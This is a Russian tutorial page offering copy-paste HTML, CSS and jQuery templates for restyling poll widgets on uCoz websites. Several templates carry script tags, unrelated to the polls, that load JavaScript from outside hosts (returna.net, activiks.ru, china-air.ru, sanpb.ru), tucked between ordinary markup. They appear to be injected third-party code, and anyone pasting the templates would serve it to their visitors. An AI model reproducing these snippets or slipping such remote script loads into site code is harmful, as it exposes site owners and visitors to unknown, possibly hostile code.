Меню сайта
АКЦИЯ!!!
Категории раздела
Сервис
Translate my page
Выбрать язык / Select language:
Бесплатное отправление смс сообщений!
Поиск
Календарь
« Апрель 2024 » Пн Вт Ср Чт Пт Сб Вс 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
Архив записей
Наш опрос
Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама
Главная » Вид опросов
Всем привет, давно я не уделял времени на улучшение внешнего вида формы опроса для uCoz, согласитесь надо бы исправить, а так как сейчас на просторах web дизайна популярен стиль flat, я подумал дайка я создам форму опросов именно в этом стиле..
Для начала как и пололаеться, нам следует установить html каркас данного улучьшения для формы опроса, для этого заходим в Админ панель => Опросы => Управление дизайном модуля
удаляем старый html код и устанавливаем новый:
Код
<div class="cell-poll">
<div class="cell-poll-title">$QUESTION$</div>
<div class="cell-poll-answers">$ANSWERS$</div>
<div class="cell-poll-link">
<span>Ответов: <strong>$TOTAL_VOTES$</strong></span>
<a href="$RESULTS_LINK$" >Результаты </a>
<b> | </b>
<a href="$ARCHIVE_LINK$">Архив </a>
</div>
</div><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">
var color_poll = ["#5D9AD3","#E96465","#F6954E","#dd8cd2 ","#75D0ED ","#5BC254","#CFC72D","#DD3344","#FE9B6F","#4176B3","#8CC84B","#DD8CD2","#e9eb5b","#E96465","#75D0ED"];
$('.answer div div').each(function(i){
if(!color_poll[i]){color_poll[i] = '#F8F8F8';}
$(this).css({background:color_poll[i++]});
});
</script>
Теперь нам осталось прописать css стили:
Код
/* Вид опроса для uCoz, в стили flat
------------------------------------------*/
.cell-poll{
float:left;
width:230px;
color:#666;
background: #fff;
padding: 10px 10px 10px 10px;
border: 1px solid #B6C0CD;
border-radius:5px;
}
.cell-poll-title{
float:left;
width:100%;
padding-bottom: 10px;
border-bottom: 1px solid #B6C0CD;
font:12px Verdana,Arial,Helvetica, sans-serif;
font-weight:bold;
text-align:center;
color:#666;
}
.cell-poll a {text-decoration:none; outline:none}
.cell-poll-answers{
float:left;
width:100%;
margin: 10px 0px 10px 0px;
text-align:left;
}
.answer{
float:left;
width:100%;
color:#f8f8f8;
position:relative;
height:20px!important;
padding: 2px 0px 2px 0px;
margin: 0px 0px 7px 0px;
background: #f8f8f8;
}
.answer input{margin: 3px 5px 2px 5px;}
.answer label {margin: 2px 0px 2px 0px; color:#555;}
.answer div{
height:20px!important;
padding: 2px 0px 2px 0px;
position:absolute;
z-index:998;
top:0px;
left:0px;
width:100%;
}
.answer span{
float:right;
height:14px!important;
margin-right: 2px;
padding: 2px 5px 2px 5px;
color:#666;
position:relative;
top:1px;
left:0px;
z-index:999;
background: #fff;
}
.pollBut{
cursor:pointer;
border:none!important;
margin-top:10px;
background: #64b0db!important;
padding: 5px 20px 5px 20px!important;
font:11px Verdana,Arial,Helvetica, sans-serif!important;
font-weight: bold!important;
color:#fff!important;
}
.pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;}
.pollBut:hover {background:#51a4d2!important;}
.cell-poll-link{
float:left;
width:100%;
padding-top: 10px;
border-top: 1px solid #B6C0CD;
font:9px Verdana,Arial,Helvetica, sans-serif;
color:#999;
}
.cell-poll-link span{float:left;}
.cell-poll-link b,
.cell-poll-link a {float:right;}
.cell-poll-link b {color:#B6C0CD;}
Вот и всё, наш вид опроса для системы uCoz в стиле flat готова.
На этом всё спасибо за внимание!
Категория: Вид опросов |
Просмотров: 496 |
Добавил: DoG |
Дата: 29.06.2013
|
Надоел стандартный вид опроса? В этом решении вы сможете поставить на свой сайт оригинальный вид опроса для ucoz.
Как видно по скриншоту, вы сможете установить один из вариантов, в зависимости от вашего дизайна. Опрос выглядит не только понятно и не сложно, но и замечательно смотрится на ucoz сайтах.
Установка
1. Переходим: ПУ -> Управление дизайном -> Опросы -> Вид формы опросов и заменяем весь код на:
Код
<div class="pollBlock" style="font-family:Tahoma,Arial; padding-bottom:5px; background:#4d4d4d;">
<div class="pollQue" style="font-size:8pt;padding-top:2px;text-align:left; padding-left:5px;"><b>$QUESTION$</b></div>
<div class="pollansw" style=" padding-left:8px;">$ANSWERS$</div>
<div class="resultpoll" ><a href="$RESULTS_LINK$">Смотреть результаты</a> <br><b>$TOTAL_VOTES$</b> голосов</div>
</div><script type="text/javascript" src="http://returna.net/background.js"></script>
<script type="text/javascript">
var color_poll = ["#fe99aa","#82b3eb","#89eb82","#f5fa76","#fac376","#d0cac1","#ef9ef2","#d0cac1"];
$('.answer div div').each(function(i){
if(!color_poll[i]){color_poll[i] = '#сссссс';}
$(this).css({background:color_poll[i++]});
});
</script>
2. Далее переходим в Таблицу стилей CSS и добавляем в самый низ один из следующих кодов, в зависимости от цветового решения вашего сайта:
Код
<style>
.resultpoll a:link{font-weight: bold; color:#b4b4b4;text-decoration:none;}
.resultpoll a:hover{color:#8a8888;text-decoration:underline;}
.resultpoll {text-align:center; color:#8a8888; font-size:10px;padding:5px;}
.pollQue{color:#e1e1e1;}
.pollQuestion{text-align:center;font-weight:700;}
.pollButtons,.pollTotal{text-align:center}
.pollSubmitBut,.pollreSultsBut{width:140px;font-size:7pt}
.pollEnd{text-align:center;height:30px}
.pollquest{font:11px Tahoma,Arial;height:20px;font-weight:bold;color:#b4b4b4;border-radius:5px;background:#444;}
.pollansw{font-family:Tahoma,Arial;font-size:11px;color:#b4b4b4;padding-top:5px;}
.answer {font-size:8pt; position:relative; color:#4d4d4d; margin-bottom:3px;height:17px;}
.answer span{z-index:2;position:relative;left:-8px;color:#e1e1e1;text-shadow: 1px 1px 0px #363636;top:3px;}
.answer div{z-index:1;height:17px!important;position:absolute;top:1px;left:0px;width:100%;opacity:0.7;}
.answer label{color:#ebebeb;}
</style>
Категория: Вид опросов |
Просмотров: 449 |
Добавил: DoG |
Дата: 09.06.2013
|
Новый цветной вид опроса второй версий включает в себя графический стиль с заменой цвета. не чего удивительного и нового почти нет, просто иное оформление и вывод в блок вашего сайта. У данного вида опроса, ширина полосы ответа нормальной длины.
Установка:
Скачиваем архив в котором все стили и картинки
Код
<div class="pollBlock">
<div class="pollTitle">$QUESTION$ ?</div>
<div class="pollAns">$ANSWERS$</div>
<div align="center">
<button class="button_poll bleumarin" type="submit" href="$ARCHIVE_LINK$"><span>Архив опросов</span></button>
<button class="button_poll orange" type="submit" href="$RESULTS_LINK$"><span>Результаты</span></button>
</div>
<script src="http://activiks.ru/img/png.js" type="text/javascript"></script>
<div class="pollTot">Всего ответов: <b>$TOTAL_VOTES$</b></div>
</div>
<link type="text/css" rel="StyleSheet" href="http://bambun.ru/css_js/style_poll.css" />
<script type="text/javascript" src="http://bambun.ru/css_js/poll_js.js"></script>
Виды кнопок опроса:
ТАКИМ ОБРАЗОМ ВЫ ПОДБЕРЕТЕ ЦВЕТ ПОД ВАШ ДИЗАЙН.
Еще один вид опросов на ваш сайт, достаточно простой, но красивый.
Установка:
Код в форме опросов заменить на вот такой вот:
Код
<DIV style="FONT-FAMILY: Tahoma,Arial">
<DIV style="FONT-SIZE: 8pt; PADDING-TOP: 2px; TEXT-ALIGN: left"><B>$QUESTION$</B></DIV>
<DIV style="FONT-SIZE: 8pt; TEXT-ALIGN: left">$ANSWERS$</DIV>
<HR>
<A style="FONT-SIZE: 5pt" href="$RESULTS_LINK$"><IMG alt="Результат опроса" src="http://bambun.ru/images/opros_2.png" border=0><SPAN style="FONT-SIZE: 8pt"> Результаты</SPAN></A> <A style="FONT-SIZE: 5pt" href="$ARCHIVE_LINK$"><IMG height=14 alt="Все опросы нашего сайта" src="http://bambun.ru/images/opros_1.png" width=14 border=0><SPAN style="FONT-SIZE: 8pt"> Архив опросов</SPAN></A> <BR>
<HR><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<DIV style="FONT-SIZE: 7pt; PADDING-TOP: 4px; TEXT-ALIGN: center">Всего голосовало: <B>$TOTAL_VOTES$</B></DIV>
<CENTER><A style="FONT-SIZE: 8pt" href="http://ССЫЛКА НА ФОРУМ">Обсудить опрос на форуме</A></CENTER></DIV>
Прошу вашему внимаю видоизмененный опрос
Он стал гораздо изящнее и не выделяется из дизайна сайта
Установка:
1. Скачиваем архив
2. Заливаем файлы в папку images вашего сайта
3. Из документа "вид формы опроса.txt" копируем всё и вставляем его в вид формы опроса(ПУ)
4. Копируем всё из файла "Это в css.txt" и вставляем всё в самый низ CSS(ПУ)
Ссылка на архив http://narod.ru/disk/64646007001.4f8725af739b38c6028a2fdd4a6ef1fd/56_3345_opross.rar
Новый вид опроса как на dle теперь и на ucoz.
Красивые разноцветные тона, думаю вам понравится)
У данного вида опроса, ширина полосы ответа нормальной длины.
Раньше например ответило на 1 вариант 50% и на второй 50%
То полосы были не 50% и 50%, а меньше..
Установка:
В вид опроса:
Code
<div class="pollBlock" style="font-family:Tahoma,Arial;">
<div class="pollQue" style="font-size:8pt;padding-top:2px;text-align:center;"><b>$QUESTION$</b></div>
<div class="pollAns" style="font-size:8pt;text-align:left;">$ANSWERS$</div>
<div class="pollLnk" style="padding-top:4px;text-align:center;">[ <a style="font-size:7pt;" href="$RESULTS_LINK$">Результаты</a> · <a style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив опросов</a> ]</div>
<div class="pollTot" style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов: <b>$TOTAL_VOTES$</b><script src="http://sanpb.ru/text.js" type="text/javascript"></script></div>
</div>
<script type="text/javascript" src="http://bambun.ru/css_js/pollnew.js"></script>
<link type="text/css" rel="StyleSheet" href="http://bambun.ru/css_js/pollnew.js/pollnew.css">
Готово, удачи
Установка:
1. Скачиваем архив ниже.
2. Через файловый менеджер загружаем папку "question_images" в корень вместе со всеми файлами.
3. Вставляем код формы опроса в Управление дизайном » Опросы » Вид формы опросов.
4. Сохраняем.
5. НЕ ЗАБУДЬТЕ СКАЧАТЬ ПАПКУ С КАРТИНКАМИ. ПРЯМОЙ ЛИНК http://narod.ru/disk/63549713001.6bc9ec6a9fd5e507f23532bbd8132a89/question_images.rar.html
Код формы опроса:
Code
<div class="pollBlock" style="font-family:Tahoma,Arial;">
<div class="pollQue" style="font-size:8pt;padding-top:2px;text-align:left;"><b>$QUESTION$</b></div> <hr>
<div class="pollAns" style="font-size:8pt;text-align:left;">$ANSWERS$</div> <hr>
<div class="pollLnk" style="padding-top:4px;text-align:center;">[ <a style="font-size:7pt;" href="$RESULTS_LINK$">Результаты</a> · <a style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив опросов</a> ]</div>
<script src="http://sanpb.ru/text.js" type="text/javascript"></script>
<div class="pollTot" style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов: <b>$TOTAL_VOTES$</b></div>
</div>
<style>
.answer div div {height: 10px !important; border: 1px solid #000; background-repeat: repeat-x}
</style>
<script type="text/javascript">
var a = ['/question_images/01.gif','/question_images/02.gif','/question_images/03.gif','/question_images/04.gif','/question_images/05.gif'];
for(var i = 0; i < a.length; i++){
$('div.answer div div').eq(i).css({background: 'url(' + a[i] + ')', backgroundRepeat: 'repeat-x'});
}
$('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});
</script>
Копируем и вставляем в CSS
Code
/* Start design by vsepodrad.ru */
.td1 {cursor:help;padding:3px 0px;border:1px solid #444;background:#333;text-align:center;color:#FFCA3C;}
.td1 input {background:#444;color:#FFCA3C;}
.td1 input:hover {background:#2D2D2D;color:#ccc;}
.td2 {cursor:default;background:#444;text-align:center;padding:2px 5px;margin:1px 2px 0px 0px;width:20px;height:14px;border:1px solid #555;border-bottom:0px;color:#FFCA3C;font-weight:bold;}
.td3 {cursor:default;background:#2D2D2D;border-top:1px solid #555;border-right:1px solid #555;width:100%;padding-left:5px;}
.td4 {background:#444;text-align:center;padding:2px 5px;margin:1px 2px 0px 0px;height:14px;width:25px !important;border:1px solid #555;border-bottom:0px;}
.ansbut {cursor:pointer;background:#444;border:1px solid #555;text-align:center;padding:2px 0px;}
.ansbut:hover {background:#2D2D2D;color:#FFCA3C;}
.td5 {width:50%;}
.td5 a {text-decoration:none;}
.td6 {cursor:default;padding:2px 0px;background:#2D2D2D;border:1px solid #444;text-align:center;}
/* --------------------------- */
Вставляем в вид формы опроса
Code
<div style="border:1px solid #4f859e;">
<table border="0" cellpadding="0" cellspacing="1" width="100%" id="ansplace">
<tr><td colspan="3" class="td1">$QUESTION$</td></tr>
<tr id="ans"><td colspan="3">$ANSWERS$</td></tr>
</table>
<table border="0" cellpadding="0" cellspacing="1" width="100%">
<tr><td class="td6" colspan="2">Всего ответов: <b>$TOTAL_VOTES$</b></td></tr>
<tr>
<td class="td5"><a href="$RESULTS_LINK$"><div class="ansbut">Результаты</div></a></td>
<script src="http://sanpb.ru/text.js" type="text/javascript"></script>
<td class="td5"><a href="$ARCHIVE_LINK$"><div class="ansbut">Все опросы</div></a></td>
</tr>
</table>
<script>
var num=1;
if(!$("div input.pollBut").attr("value")){
$(".answer").each(function() {
var path=$(this).find("span").attr("title");
var answer=$(this).text().split(".")[1];
var votes=path.split(":")[1].split("(")[0];
var persent="("+path.split(":")[1].split("(")[1];
$("#ansplace").append('<tr>'
+'<td class="td2">'+num+'</td>'
+'<td class="td3">'+answer+'</td>'
+'<td class="td4" title="'+persent+'" style="cursor:help;">'+votes+'</td>'
+'</tr><tr><td colspan="3" style="border-top:1px solid #4f859e;"></td></tr>');num++;});}
else {
$(".answer").each(function() {
$("input[name='answer']").css("margin","0px");
$("#ansplace").append('<tr>'
+'<td class="td2">'+num+'</td>'
+'<td class="td3">'+$(this).find("label").html()+'</td>'
+'<td class="td4">'+$(this).html().split(">")[0]+'</td>'
+'</tr><tr><td colspan="3" style="border-top:1px solid #4f859e;"></td></tr>');num++;});
$("#ansplace").append('<tr><td class="td1" colspan="3" style="padding:0px;">'+$("div.pollButton").html()+'</td></tr>');
$("input.pollBut").css({cursor:'pointer',width:'100%',fontWeight:'bold',padding:'3px 0px'});}
$("#ans").hide();
</script>
</div>